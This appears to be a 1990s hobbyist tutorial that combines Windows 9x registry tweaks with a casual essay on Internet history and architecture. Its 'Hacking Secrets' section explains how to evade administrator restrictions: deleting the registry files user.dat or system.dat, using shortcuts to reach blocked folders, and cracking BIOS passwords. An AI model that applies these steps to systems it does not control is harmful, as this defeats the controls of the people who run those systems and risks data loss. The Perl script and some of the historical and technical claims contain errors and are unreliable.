Right click on the shell and create a new Sub Key (You can create a new SubKey by right clicking on the Shell Key and selecting New > Key.). Type in the name of the application you want to add to the start menu. I want to add Notepad to the Start Menu and hence I name this new sub key, Notepad. Now right click on the new registry key that you just created and create yet another new key named Command. Enter the full path of the application, in this case Notepad in the default value of Command in the right
pane. So I Modify the value of the default string value and enter the full pathname of Notepad:
c:\wndows\notepad.exe.
Now press F5 to refresh. Now if you right click on the Start Button you will find a new addition to the Pop Up Menu called Notepad. Clicking on it will launch Notepad.
We can not only add but also remove the existing options in this pop up box.
To delete the Find option, go to the following registry key:
HKEY_CLASSES_ROOT\Directory\Shell\Find
Delete Find. DO NOT delete Open else you will not be able to open any folders in the Start Menu like Programs, Accessories etc.
BMP Thumbnail As Icon
You can actually change the default BMP icon to a thumbnail version of the actual BMP file. To do this simply go to HKCU\Paint.Picture\Default. In the right pane change the value of default to %1. Please note however that this will slow down the display rate in explorer if there are too many BMP thumbnails to display. You can use other icons too, simply enter the pathname.To restore back to the normal change the vale of default back to: C:\Progra~1\Access~1\MSPAINT.EXE,1.
Customizing The Shortcut Arrow
All shortcuts have a tiny black arrow attached to it's icon to distinguish from normal files. This arrow can sometimes be pretty annoying and as a Hacker should know how to change each and everything, here goes another trick. Launch the Registry Editor and go to:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\explorer\Shell Icons.
Now, on the right pane is a list of icons ( we found out that on some systems, Windows 98 especially, the right pane is blank. Don't worry, just add the value as required ). Find the value 29. If it isn't there, just add it. The value of this string should be C:\Windows\system\shell32.dll, 29 ( which means the 30th icon in shell32.dll - the first one begins with 0 ). Now, we need blank icon to do this. Just create one with white as the whole icon. Go here to learn how to create an icon. Once done just change the value to C:\xxx.ico, 0 where "xxx" is the full path of the icon file and "0" is the icon in it.
Now for some fun. If the blank icon is a bit boring, change it again. You will find that under shell32.dll there is a gear icon, a shared folder ( the hand ) and much more. Experiment for yourself!
Use Perl to Get List or Services Running on your NT box
Use the following Perl Script to get a list of Services running on your NT system
--------------script.pl-----------------
#!c:\per\bin\perl.exe
use Win32::Service;
my ($key, %service, %status, $part);
Win32::Service::GetServices(' ',\%services);
foreach $key (sort keys %services) {
print "Print Name\t: $key, $services{$key}\n";
Win32::Service::GetStatus( ' ',$services{$key};
\%status);
foreach $part (keys %status) {
print "\t$part : $status{$part}\n" if($part eq "CurrentState");
}
}
-------------script.pl-------------------
Internet Explorer Tricks and Tips
Resizable Full Screen Toolbar
The Full Screen option increases the viewable area and makes surfing more enjoyable but sometimes we need the Toolbar but also need to have extra viewing area. Now this hack teaches you how to change the size of the Internet Explorer toolbar. This registry hack is a bit complicated as it involves Binary values, so to make it simple, I have included the following registry file which will enable the resizable option of the Internet Explorer toolbar which was present in the beta version of IE.
REGEDIT4
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Toolbar]
"Theater"=hex:0c,00,00,00,4c,00,00,00,74,00,00,00,18,00,00,00,1b,00,00,00,5c,\
00,00,00,01,00,00,00,e0,00,00,00,a0,0f,00,00,05,00,00,00,22,00,00,00,26,00,\
00,00,02,00,00,00,21,00,00,00,a0,0f,00,00,04,00,00,00,01,00,00,00,a0,0f,00,\
00,03,00,00,00,08,00,00,00,00,00,00,00
*******************
HACKING TRUTH: Internet Explorer 5 displays the friendly version of HTTP errors like NOT FOUND etc . They are aimed at making things easier for newbies. If you would rather prefer to see the proper error pages for the web server you're using, go to Tools, Internet Options and select the Advanced tab. Then scroll down and uncheck the Show friendly http errors box.
*******************
Making the Internet Explorer & the Explorer Toolbars Fancy
The Internet Explorer toolbar looks pretty simple. Want to make it fancy and kewl? Why not add a background image to it. To do this kewl hack launch the Windows Registry Editor and go to the following key: HKEY_CURRENT_USER\SOFTWARE\Microsoft\ Internet Explorer\Toolbar\.
Now in the right pane create a new String Value and name it BackBitmap and modify it's value to the path of the Bitmap you want to dress it up with by rightclicking on it and choosing Modify. When you reboot the Internet Explorer and the Windows Explorer toolbars will have a new look.
Change Internet Explorer's Caption
Don't like the caption of Internet Explorer caption? Want to change it? Open the registry editor and go to
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main.
In the right pane create a new String Value names Window Title (Note the space between Window and Title). Right click on this newly created String Value and select Modify. Type in the new caption you want to be displayed. Restart for the settings to take place.
Now let's move on to some Outlook Express Tricks.
Colorful Background
Don't like the boring background colors of Outlook Express? To change it launch the Windows Registry Editor and scroll down to the
HKEY_CURRENT_USER\Software\Microsoft\Internet Mail And News key.
On the left pane, click on ColorCycle or select Edit and Modify in the menu. Now change the value to 1. Close and restart. Now, launch Outlook Express and whenever you open up a New Message, hold down ctrl-shift and tap the z key to scroll to change the background color. Repeat the keystroke to cycle through the colors.
Internet Explorer 5 Hidden Features

Microsoft Internet Explorer 5 has several hidden features which can be controlled using the Windows Registry. Open your registry and scroll down to the following key:
HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Restrictions
Create a new DWORD value named x(See complete list of values of x below) and modify it's value to 1 to enable it and to 0 to disable it.
NoBrowserClose : Disable the option of closing Internet Explorer.
NoBrowserContextMenu : Disable right-click context menu.
NoBrowserOptions : Disable the Tools / Internet Options menu.
NoBrowserSaveAs : Disable the ability to Save As.
NoFavorites : Disable the Favorites.
NoFileNew : Disable the File / New command.
NoFileOpen : Disable the File / Open command.
NoFindFiles : Disable the Find Files command.
NoSelectDownloadDir : Disable the option of selecting a download directory.
NoTheaterMode : Disable the Full Screen view option.
Hacking Secrets
Almost all system administrators make certain changes and make the system restricted. System Administrators can hide the RUN option, the FIND command, the entire Control Panel, drives in My Computer like D: A: etc. They can even restrict activities of a hacker my disabling or hiding, even the tiniest options or tools.
Most commonly these restrictions are imposed locally and are controlled by the Windows Registry. But sometimes the smart system administrators control the activities of the hacker by imposing restrictions remotely through the main server.
Poledit or Policy Editor is a small kewl tool which is being commonly used by system administrators to alter the settings of a system. This utility is not installed by default by Windows. You need to install in manually from the Windows 98 Installation Kit from the Resource Kit folder. user.dat file that we saw earlier.
The Policy Editor tool imposes restrictions on the user's system by editing the user.dat file which in turn means that it edits the Windows Registry to change the settings. It can be used to control or restrict access to each and every folder and option you could ever think of. It has the power to even restrict access to individual folders, files, the Control Panel, MS DOS, the drives available etc. Sometimes this software does make life really hard for a Hacker. So how can we remove the restrictions imposed by the Policy Editor? Well read ahead to learn more.
You see the Policy Editor is not the only way to restrict a user's activities. As we already know that the Policy Editor edits the Windows Registry(user.dat) file to impose such restrictions. So this in turn would mean that we can directly make changes to the Windows Registry using a .reg file or directly to remove or add restrictions.
Launch Regedit and go to the following Registry Key:
HKEY_CURRENT_USER/Software/Microsoft/CurrentVersion/Policies
Under this key, there will definitely be a key named explorer. Now under this explorer key we can create new DWORD values and modify it's value to 1 in order to impose the restriction. If you want to remove the Restriction, then you can simply delete the respective DWORD values or instead change their values to 0. The following is a list of DWORD values that can be created under the Explorer Key-:
NoDeletePrinter: Disables Deletion of already installed Printers
NoAddPrinter: Disables Addition of new Printers
NoRun : Disables or hides the Run Command
NoSetFolders: Removes Folders from the Settings option on Start Menu (Control Panel, Printers, Taskbar)
NoSetTaskbar: Removes Taskbar system folder from the Settings option on Start Menu
NoFind: Removes the Find Tool (Start >Find)
NoDrives: Hides and does not display any Drives in My Computer
NoNetHood: Hides or removes the Network Neighborhood icon from the desktop
NoDesktop: Hides all items including, file, folders and system folders from the Desktop
NoClose: Disables Shutdown and prevents the user from normally shutting down Windows.
NoSaveSettings: Means to say, 'Don't save settings on exit'
DisableRegistryTools: Disable Registry Editing Tools (If you disable this option, the Windows Registry Editor(regedit.exe) too
will not work.)
NoRecentDocsHistory: Removes Recent Document system folder from the Start Menu (IE 4 and above)
ClearRecentDocsOnExit: Clears the Recent Documents system folder on Exit.
Nolnternetlcon: Removes the Internet (system folder) icon from the Desktop
Under the same key: HKEY_CURRENT_USER/Software/Microsoft/CurrentVersion/Policies you can create new subkeys other than the already existing Explorer key. Now create a new key and name it System. Under this new key, system we can create the following new DWORD values(1 for enabling the particular option and 0 for disabling the particular option):
NODispCPL: Hides Control Panel
NoDispBackgroundPage: Hides Background page.
NoDispScrsavPage: Hides Screen Saver Page
NoDispAppearancePage: Hides Appearance Page
NoDispSettingsPage: Hides Settings Page
NoSecCPL: Disables Password Control Panel
NoPwdPage: Hides Password Change Page
NoAdminPaqe: Hides Remote Administration Page
NoProfilePage: Hides User Profiles Page
NoDevMgrPage: Hides Device Manager Page
NoConfigPage: Hides Hardware Profiles Page
NoFileSysPage: Hides File System Button
NoVirtMemPage: Hides Virtual Memory Button
Similarly, if we create a new subkey named Network, we can add the following DWORD values under it(1 for enabling the particular option and 0 for disabling the particular option):
NoNetSetupSecurityPage: Hides Network Security Page
NoNelSetup: Hides or disables the Network option in the Control Panel
NoNetSetupIDPage: Hides the Identification Page
NoNetSetupSecurityPage: Hides the Access Control Page
NoFileSharingControl: Disables File Sharing Controls
NoPrintSharing: Disables Print Sharing Controls
Similarly, if we create a new subkey named WinOldApp, we can add the following DWORD values under it(1 for enabling the particular option and 0 for disabling the particular option):
Disabled: Disable MS-DOS Prompt
NoRealMode: Disable Single-Mode MS-DOS.
So you see if you have access to the Windows Registry, then you can easily create new DWORD values and set heir value to 1 for enabling the particular option and 0 for disabling the particular option. But Sometimes, access to the Windows Registry is blocked. So what do you do? Go to the Windows Directory and delete either user.dat or system.dat (These 2 files constitute the Windows Registry.) and reboot. As soon as Windows logs in, it will display a Warning Message informing you about an error in the Windows Registry. Simply ignore this Warning Message and Press CTRL+DEL+ALT to get out of this warning message.(Do not press OK) You will find that all restrictions have been removed.
The most kind of restriction found quite commonly is the Specific Folder Restriction, in which users are not allowed access to specific folders, the most common being the Windows folder, or sometimes even access to My Computer is blocked. In effect, you simply cannot seem to access the important kewl files which are needed by you to do remove restrictions. What do you? Well use the RUN command. (START >RUN). But unfortunately a system administrator who is intelligent enough to block access to specific folder, would definitely have blocked access to the RUN command. Again we are stuck.
Windows is supposed to be the most User Friendly Operating System on earth. (At least Microsoft Says so.)
It gives the User an option to do the same thing in various ways. You see the RUN command is only the most convenient option of launching applications, but not the only way. In Windows you can create shortcuts to almost anything from a file, folder to a Web URL. So say your system administrator has blocked access to the c:\windows\system folder and you need to access it. What do you do? Simply create a Shortcut to it. To do this right click anywhere on the desktop and select New > Shortcut. A new window titled Create Shortcut pops up. Type in the path of the restricted folder you wish to access, in this case c:\windows\system. Click Next, Enter the friendly name of the Shortcut and then click Finish. Now you can access the restricted folder by simply double clicking on the shortcut icon. Well that shows how protected and secure *ahem Windows *ahem is.
****************
HACKING TRUTH: Sometimes when you try to delete a file or a folder, Windows displays an error message saying that the file is protected. This simply means that the file is write protected, or in other words the R option is +. Get it? Anyway, you can stop Windows from displaying this error message and straightaway delete this file by changing its attributes to Non Read Only. This can be done by Right Clicking on the file, selecting Properties and then
unselecting the Read Only Option.
***************
There is yet another way of accessing restricted folders. Use see, DOS has a lovely command known as START. Its general syntax is:
START application_path
It does do what it seems to do, start applications. So in you have access to DOS then you can type in the START command to get access to the restricted folder. Now mostly access to DOS too would be blocked. So again you can use the shortcut trick to launch, c:\command.com or c:\windows\command.com. (Command.com is the file which launches MS DOS).
Accessing Restricted Drives.
The problem with most system administrators is that they think that the users or Hackers too are stupid. Almost all system administrators use the Registry Trick (Explained Earlier) to hide all drives in My Computer. So in order to unhide or display all drives, simply delete that particular key.(Refer to beginning of Untold Secrets Section.)
Some systems have the floppy disk disabled through the BIOS. On those systems if the BIOS is protected, you may need to crack the BIOS password. (For that Refer to the Windows Hacking Chapter). Sometimes making drives readable (Removing R +) and then creating Shortcuts to them also helps us to get access to them.
Further Changing your Operating System's Looks by editing .htt files
If you have installed Windows Desktop Update and have the view as Web Page option enabled, you can customise the way the folder looks by selecting View > Customise this folder. Here you can change the background and other things about that particular folder. Well that is pretty lame, right? We hackers already know things as lame as that. Read on for some kewl stuff.
Well, you could also change the default that is stored in a Hidden HTML Template file (I think so..) which is nothing but a HTML document with a .htt extension. This .htt file is found at: %systemroot%\web\folder.htt.
The %systemroot% stands for the drive in which Windows is Installed, which is normally C:
You can edit these .htt files almost just like you edit normal .HTM or .HTML files. Simply open them in an ASCII editor like Notepad. The following is a list of .htt files on your system which control various folders and which can be edited to customise the way various folders look.
controlp.htt Control Panel
printers.htt Printers
mycomp.htt My Computer
safemode.htt Safe Mode
All these files are found in the web folder in %systemfolder%. The folder.htt file has a line:
'Here's a good place to add a few lines of your own"
which is the place where you can add your own A HREF links. These links would then appear in the folder whose folder.htt file you edited. All this might sound really easy and simple, but you see these .htt files do not contain normal HTML code, instead they contain a mixture of HTML and web bots. Hence they can be difficult for newbies to understand.




Internet Architecture, Network Concepts and Facts

 
================================================
Internet Architecture, Network Concepts and Facts
================================================


OverView==========------------------------------------------------------
1. Short summary on the history of the Internet (boring yet vital)

2. Internet Protocols and Jargon 

3. Host Machines and Host Names

4. Architecture of the Internet and Packet Switching

5. Synchronous and Asynchronous Communication

6. Who is in Charge? (boring yet vital)

7. The future of the Internet

8. Further reading


------------------------------------------------------

This text won't make you an elite hacker or a cracker, but will clear up many misunderstandings you might have about the Internet and the way it is structured. Okay before you start reading, i will be summarizing most of this info because many other tutorials have been written in detail explaining the sections presented. This is just another way to say, IAM NOT GOING TO WASTE MY TIME TYPING. So i see you have downloaded this text to learn more about the wonderful tool the world has ever seen, but do you really understand the juicy info behind the Internet? Well after reading this you will!


1: Summary on the history of the Internet (boring yet vital)

Well every place i go i keep hearing ppl saying things like i was chatting, or i sent him/her an email, or i was checking his site on the INTERNET. Now when you are asked what is the Internet? you reply, Well the Internet is like a program i write a www.blahblah.com and i see stuff and i download it, not hard, probably took days to do, well someone is wrong, heheheh.

The Internet is a global assemblage of more than 20 million computers and growing in rapid intercommunication. These forms of communication links are made up of optical fibers, digital cables, satellite transmissions, and yup you guessed it, telephone lines. The Internet can be described in three terms, the hardware infrastructure that supports it, the software that powers it, and the people who populate it. 

When the Internet began, until the early 90s, the only guys who used it weren't normal ppl, but they were the scientists, academics, science students and the real deal computer programmers who were pursuing long-distance collaborations and research. The Internet isn't something that just popped out of nowhere, it has been around for decades, but was something overlooked by the media until 1990. Well the origin of the Internet dates back to 1970, when four computers, yes four, one each at The University of California at Los Angeles, The University of California at Santa Barbara, The Stanford Research Institute, and The University of Utah at Salt Lake City were hooked up over phone lines. 

From the first four computers that powered the first Internet, 13 years later 562 boxes were connected to it in 1983, and by 1993 that number has reached 1.2 million and in 1996 it was 12 million, and this number remains doubling every 12-14 months. One critical component underlying today's Internet is the software that supports network communications. In the Internets's beginning dayz, the software that powered the networks wasn't user friendly, they didn't have fancy crap with popup menus and fancy Graphical User Interfaces (GUI), they had cryptic programs which looked like hell for normal people. One reason for this is because the only people who used the net were scientists who didn't care about user friendly interfaces. The software they designed was difficult, which hindered the popularity of the net. 

The first tools that these cool guys made that innovated the Internet were, Telnet, yup the good old telnet, which was made in 1969 and second, the File Transfer Protocol (ftp), which was made in 1971 and is still in great use today. (i wasn't born yet, heh) Other popular communication programs have also evolved with the Internet, which are know by the names of: Usenet Newsgroups, Internet Relay Chat (IRC), Gophers, and Multi-user Dungeons (MUD's).


2: Internet Protocols and Jargon (what those 3 letter words mean) 


We computer guys tend to speak in acronyms, small words that have a lot of valuable info. Acronyms are ubiquitous on the Internet, and all this wonder will be explained here. 

Many Internet acronyms involve a "P" letter. Lets look at these, we have, SLIP, TCP, UDP, FTP, ICMP, SMTP, HTTP, PPP, IP, and Mikkkeee (only playing). Okay now you have witnessed the confusion, what does all this stuff mean. All of them stand for the word "protocol." So when ever you see a "P" at the end of a computer acronym, there is a big chance its stands for protocol. Now the tough part is what is this protocol? Well a protocol in computer science just refers to formalities and conventions observed by computers during cross computer communication. So its just like this, in order for boxes to share data, each box must use the same data transfer rules, or we won't have communication. Just like the old dayz when ppl used the telegraph, which communicated through the communication protocol called the Morse code. Then came the Ham radio operators who also had their protocols and now we have the Internet, which also needs its little protocols. 

(Now I am not going to kill you via boredom by explain the concept of protocols because they are already explained by the tutorials found at BSRF, but i will sprinkle the sprinkles on the cake.) 

The Internet Protocol (IP) is the cornerstone for all Internet communications. In fact, you can see if a box is alive (on the net) by asking for its IP, yah not going far as to doing something lame as DoSing the box! Now each computer on the Internet has a unique IP number that operates as its Internet address. When we say that there are 20 million computers on the Internet, that figure is really based on the number of IP addresses in use in that year. 

As you have begun to browser the net, or start your mission in becoming a hacker, you will most likely come across some reference to the Transfer Control Protocol/Internet Protocol(TCP/IP). TCP is nothing to be feared, it works closely with IP in order to prepare packets of data before an Internet data transfer. TCP also interprets those same packets at the receiving end after the transfer. 

Additional protocols are also used to power the net. These are, the File Transfer Protocol (FTP), which moves filz from one computer to another. The Simple Mail Transfer Protocol (SMTP) designed in 1982 to support e-mail communications. The HyperText Transfer Protocol (HTTP), made in 1990 so that web browsers could read documents on the web.

The Point-to-point protocol (PPP) and the Serial Line Internet Protocol (SLIP), which generally are terms used if you need to set up access to the Internet over a telephone line through an Internet Service Provider (ISP). These protocols are used when a computer wants to communicate over the Internet, over a serial transmission line, like an analog telephone line, and the user wants to use a browser such as Internet Explorer. So his isp will offer a ppp or a slip account to the users who want to view graphics on the net. (Now you might have noticed that I didn't go in depth but for further information on protocols check out the tuts at bsrf for further info.) 


3: Host Machines and Host Names

Now to gain good knowledge on how the net works you will need to know something about host machines/host names. 

Now a computer that has been assigned an IP address is called a HOST MACHINE. Each IP address is made up of four integers separated by periods. Lets take an example, my ip on the net yesterday was 150.211.39.128 just like zip codes tell a person where you live, IP addresses reveal not your geographical info, but your computer network's info. Now the numbers to the furthermost part to the left represent the large part of the Internet, while the numbers to the further part of the right represent a specific host machine. 

While all these numbers are fine for computer communications, long strings of numbers are not easy for us to remember so that's why we have substituted the long strings of numbers into symbolic names. Symbolic names look like this www.yahoo.com, which is easier to remember. Symbolic host names are always converted into their IP addresses for the purpose of network communications. The Domain Name Service (DNS) is responsible for this task of mapping symbolic names to their numerical equivalents, and symbolic host names are often called DNS names or addresses. Lets look at an example, DNS names, follow certain naming conventions that help us remember the names easily. so we have 
 

 " blah.cs.NYU.edu "

       |    |     |     |    

       |    |     |     |--->  this segment refers to an educational site.

       |    |     |-------->  this part stands for the school, here its NYU University.
       |    |------------->  this stands for Computer Science Department.      

       |----------------->  this stands for the name of the machine.



   
ohh one more thing, sometimes lamers talk about "HIGH LEVEL DOMAIN NAMES" so they think they are so smart well they are only referring to the final part of the full domain name. This means a high level domain name identifies the type of site and where the host machine resides. Here is a list:


-------------------------------------------
.com = a commercial organization
.edu = an educational site
.org = a nonprofit organization 
.net = a network site
.gov = a government agency
.mil = a military site 

These high level domain names can in many cases be followed by other suffixes, that will identify their geographical location by country. This list is very small, (ahh again a complete list can be found at BSRF) blahblah.net.lk = Sri Lanka blahblah.net.il = Isreal blahblah.net.gb = Great Britain okay that's enough!
-------------------------------------------


4: Architecture of the Internet and Packet Switching 

Well while you browse the Internet you might think every computer on it is equal well your wrong, not all computers are equal. Well to understand what i mean i have to explain to you how data gets moved across the Internet by PACKET SWITCHING.

In order to understand packet switching you will have to understand what packet switching tries to achieve. When the Department of Defense was paying for the original network research that led to the Internet, they wanted a strong network that could withstand regional power blackouts or other problems. So in order to achieve such a robust communication, it was vital to design a transmission protocol that could readily find new routes if its destination was dead for some reason. So those guys came up with a cool plan to design a form of DYNAMIC ROUTING, which will become the standard means of moving data across the network. Dynamic Routing just means that routes for data are always selected at the time of transmission, after taking current network conditions into consideration. 

The network designers also felt it was important to distribute route-selection capabilities throughout the network, so that no single site was responsible for the entire network. Let me explain this further, lets say like a network was designed " hierarchically " so that everything passes through that central routing site, so if anything happens to that central routing site well HOUSTON WE GOT A PROBLEM! 

This is how a hierarchically network would look like:





----------------------------------------------------------------------------                            ___
                           |___|

                           / \ / \       Well you can clearly see that the

                          /  /\   \      big box is the central routing site 

                        O O O  O    so if anything happens to the big 
                                          box then we got a big problem.



 ----------------------------------------------------------------------------
So since these guys were very smart they built the Internet in "heterarchically," which really means instead of having one central routing site, there are a large number of routing sites distributed all over the network. The hosts that decide how to route transmissions across the Internet are called ROUTERS. The Internet today is currently being run by thousands of these hosts called routers. 

 ---------------------------------------------------------------------------------


                          O-O     Okay the art sucks but you see the idea

                        / -O- \    there isn't one box there are many hosts
                       O-----O   so if one dies, others can still work

                         \ O /

 --------------------------------------------------------------------------------- 
So now you figured out the difference, dynamic heterarchical routing is what makes the Internet work so good, and the key idea that binds everything together is packet switching. All of the data moved across the Internet is moved in units called PACKETS. The traffic on the net is measured by counting the packets transferred in a period of time. 

If this concept is hard for you to understand let me explain. Lets say you are downloading a file from a server in California to your box in New York. The software running on the server breaks the huge file into packets. Lets say your file was 100k it might be broken down info 6 or 7 packets, then each packet is stamped with the IP address of its destination, as well as the IP address of the originating host. Packets will also be given instructions, these instructions describe the size of the original transmission and where each specific packet should be positioned when the original transmission is put together when it gets to my computer. Now the big deal is that each packet is sent out onto the Internet to find its way to the destination address. This means that the 6 or 7 packets don't have to travel together so they can go from California to other parts of the country then they find their way to New York. The packets are first given to a router, which looks at their destination address and decides where to send the packets. Now the router at that location then does the same thing. So when all the packets come to New York, they are then assembled into a single file. Each packet is checked first to see if it has arrived intact. If there was an error in a packet then a request to resend that packet is sent to the originating host. This form of sending files is the best way to work on a net, because it minimizes network load and by sending small packets the destination won't have to wait for the whole file to be sent if it had errors. Every computer running on the Internet uses this form of data transfer. 


Important newbie fact 

Well if your reading this you probably were alive in 1996, well what's the big deal you ask, lets put this concept of packet switching into the real world. On August 7, 1996, 6 million AOL customers were unable to access the Internet because AOL had recently loaded new software onto its network routers. This software contained incorrect routing information. As a result, AOL couldn't route packets on or off its gateway hosts. The 6 million guys waiting soon found out that their aol service was interrupted and for 19 hours these guys couldn't surf the net. Now since only AOL had this problem, the rest of the world who are smart enough not to use aol were checking their email and chatting and visiting sites, thanks to the architecture of the net not all of us suffered. 


5: Bandwith and Asynchronous Communication 

Okay, you're probably saying what's this topic Mike? Its nothing to fear, i'll explain in simple English a little child can understand. 

Online communication takes some time for normal people to understand or to just get used to. In the world you live in called off-line world communication is dominated by two way, real time communication, ie. you and a friend talking. This conversation is being operated in two directions, with questions/answers being talked about right away. Now in the computer sphere, a two way communication mediated by shared signals for beginning/ending conversations is called SYNCHRONOUS communication. Synchronous communication is like normal human/animal conversation. This form of communication relies on shared signals for starting and stopping. Examples of this communication would be like your browser sending a msg to a host and the host sends you something, a packet or a file. Programs which deal with this communication are software found on your box, Cu-Cms and RealVideo are some, which allow internet users with properly equipped hosts to converse with other internet users through a video channel. Problems arise in this form of communication, because as both of us know if you don't have the bandwidth, you will be staring at a video box with images that are jerky and stroboscopic (images which look like garbage). 

When a communication exchange does not rely on shared signals for starting and stopping, this communication is called ASYNCHRONOUS communication. Now your probably confused but don't be. This form of communication seen online is characterized by long waits for responses. This communication is seen in email messages which take some people forever to answer back. This doesn't have anything to do with the servers or the bandwidth, but has to do with the human being on the other side. Email messages are delivered in a matter of seconds, but there is no guarantee that an intended recipient will be ready and waiting to reply as soon as your message is received. So the reason for this is that it pays to think about what your are saying and how your saying because it will affect the outcome of the asynchronous communication. 


6: Who is in Charge?


Your probably wondering, yeah I always wanted an answer to that question, so explain to me plz. hehe! 

Okay I am not going to lie to you, questions about Internet management and maintenance are very boring so bare with me. You might also want to ask who pays for all this? Who fixes it when it messes up? Who is responsible for keeping everything working? Who makes the decisions about the future of this wonderful tool? Well I'll answer everything right here. 

As I explained in the previous parts of this text, the net is composed of thousands of smaller networks that are independent from one another, remember the heterarchical structure,heh. Now these smaller networks are managed by corporations, government agencies and universities with different hardware platforms and different network technologies. Now you see that I am going back and all these small and large networks are held together by a wonderful glue called TCP/IP. But I see your going to ask, okay, cool but what holds it together administratively, like how can this huge tool have no central authority? Okay let me answer your question, remember when i told you that the Internet was made by scientists and programmers, well those guys have always pushed the spirit of this wonderful tool. So when these guys made up TCP/IP they made it public so that TCP/IP could be placed on any hardware platform. Now the Department of Defense had a large part in this deal but like the Department of Defense, the university researchers also did a lot, and like the rest they also made their finding public. By doing this anyone who had access to the internet, could access these documents and put their own influence into the development of the net. Now you might think that all this public stuff is done with, well not. This way of life is still managed by a group that oversees the continuing growth of the Internet, this group is called, INTERNET SOCIETY (ISOC). This organization oversees a number of smaller groups also pursuing the growth of the net. These groups are: 

- Disaster Assistance Committee 
- Internet Operations Forum 
- Internet Architecture Board (IAB) 
- Internet Engineering Task Force (IETF) 
- Internet Assigned Number Authority (IANA) 
- Internet Engineering Steering Group (IESG) 
- Internet Research Task Force (IRTF) 
- k-12 Committee 

ISOC has no sanction or governmental power so it operates as a resource for ppl who want to participate in the growth of the net. 

The Internet's high-speed backbone is a key component of the net, and many different organizations have said they are responsible for maintaining the backbone. In the 70's, research parties funded by the Advanced Research Projects Agency (ARPA) were given access to ARPAnet. In the late 70's, the National Science Foundation (NSF) joined with ARPA to create a network that would be more available for computer scientists in the US. NSF then gave birth to CSnet in 1979. In 1982, a gateway was established between ARPAnet/CSnet, which demonstrated the viability of a network of networks like a small version of the Internet. After the joining of ARPAnet/CSnet, the term "INTERNET" was then adopted. 

By 1983, more networks began to do the same thing by expanding/establishing their own user communities. In San Francisco, FidoNet connected FidoBBS (Bulletin Board Systems) across the nation so that many users of local bulletin boards could exchange messages by email/discussion groups. In the same year, the Department of Defense switched all of its military networks to the TCP/IP protocol. By then, TCP/IP software was only included in all UNIX software distros out of the University of California at Berkley. UNIX was the operating system of choice for computer scientist, and it still is, so by doing this a huge jump was put in Internet expansion. 

BY 1985 the Internet was further expanded when NSF became a leader in network communication and they got funding from Congress to join 100 more universities to the Internet. By doing this NSF then connected five supercomputer sites in a new network called NSFnet. With all these costs and further spending the Federal Government, soon realized it couldn't afford to subsidize the Internet. So now it became a private industry. So the firms which made up the NSFnet backbone (IBM, MCI, MERIT) created a nonprofit company called Advanced Networks and Services (ANS). Then in 1992, ANS built a new backbone, ANSnet, with 30 times the bandwidth of the old NSFnet backbone. ANSnet is the current backbone for the Internet and the first one not maintained by the government but by private companies. 

Now since your probably bored and confused, let me finish off, since no federally sponsored organization oversees everything, there are some which monitor some parts. Lets look at Federal Communication Commission (FCC) they don't have any authority over the net, but they do regulate the billing practices of telephone companies. This is really cool, cause the FCC does not allow phone companies to bill ppl for digital communication differently than they do for voice communication. So the main deal is this, the net is operated by small spheres and ppl who impose on themselves to censor stuff or to protect ppl from the bad sides of the net. 


7: The future of the Internet 

Well I am going to let you do some work now. Since you just read the info on the net how big you think the info on Internet2 is going to be. let me give you a hint, it is going to be big. At the moment, a new upgraded version of the internet is in development, and its going to be called Internet 2 or simply I2. This will be a heaven when its complete so with out further interruption I have made a site dedicated to Internet 2. The site is good enough and is still up to date. Chk out the links for further news on it. The url of the site is http://i2.virtualave.net/ ahh man i forgot to kill the banners, well enjoy!!!


8: Further reading 


Okay I have chosen some books if you want to learn more, cause you know in 3 decades i summarized them in 7 or 8 pages so i think you might want to read more. 

Good books to read. 

Where Wizards Stay up Late, by Katie Hafner and matthew Lyon. Simon and shuster, New York, NY, 1996. (304 pages) 

Being Digital, by Nicholas Negroponte. Vintage Books, New York, Ny, 1995. (255 pages) 

The Internet 1997 Unleashed, by Jill Ellsworth and Billy Baron (Eds)Sams.net Publishing, Indianapolis, IN, 1996. (1,269 pages)